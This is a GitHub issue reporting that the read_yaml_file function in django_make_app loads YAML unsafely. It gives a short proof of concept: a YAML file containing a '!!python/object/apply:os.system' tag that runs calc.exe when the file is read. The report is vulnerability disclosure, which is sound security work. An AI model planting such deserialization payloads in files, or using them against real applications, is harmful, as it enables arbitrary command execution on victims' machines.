Skip to content
New issue

Have a question about this project? # for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “#”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? # to your account

read_yaml_file method is vulnerable #5

Closed
Joel-MalwareBenchmark opened this issue Nov 10, 2017 · 0 comments
Closed

read_yaml_file method is vulnerable #5

Joel-MalwareBenchmark opened this issue Nov 10, 2017 · 0 comments

Comments

@Joel-MalwareBenchmark
Copy link

from django_make_app.io_utils import read_yaml_file
yaml_raw_data = read_yaml_file('joel.yml')
#'joel.yml':!!python/object/apply:os.system ["calc.exe"]

Hi, there is a vulnerability in read_yaml_file methods in io_utils.py, please see PoC above. It can execute arbitrary python commands resulting in command execution.

# for free to join this conversation on GitHub. Already have an account? # to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant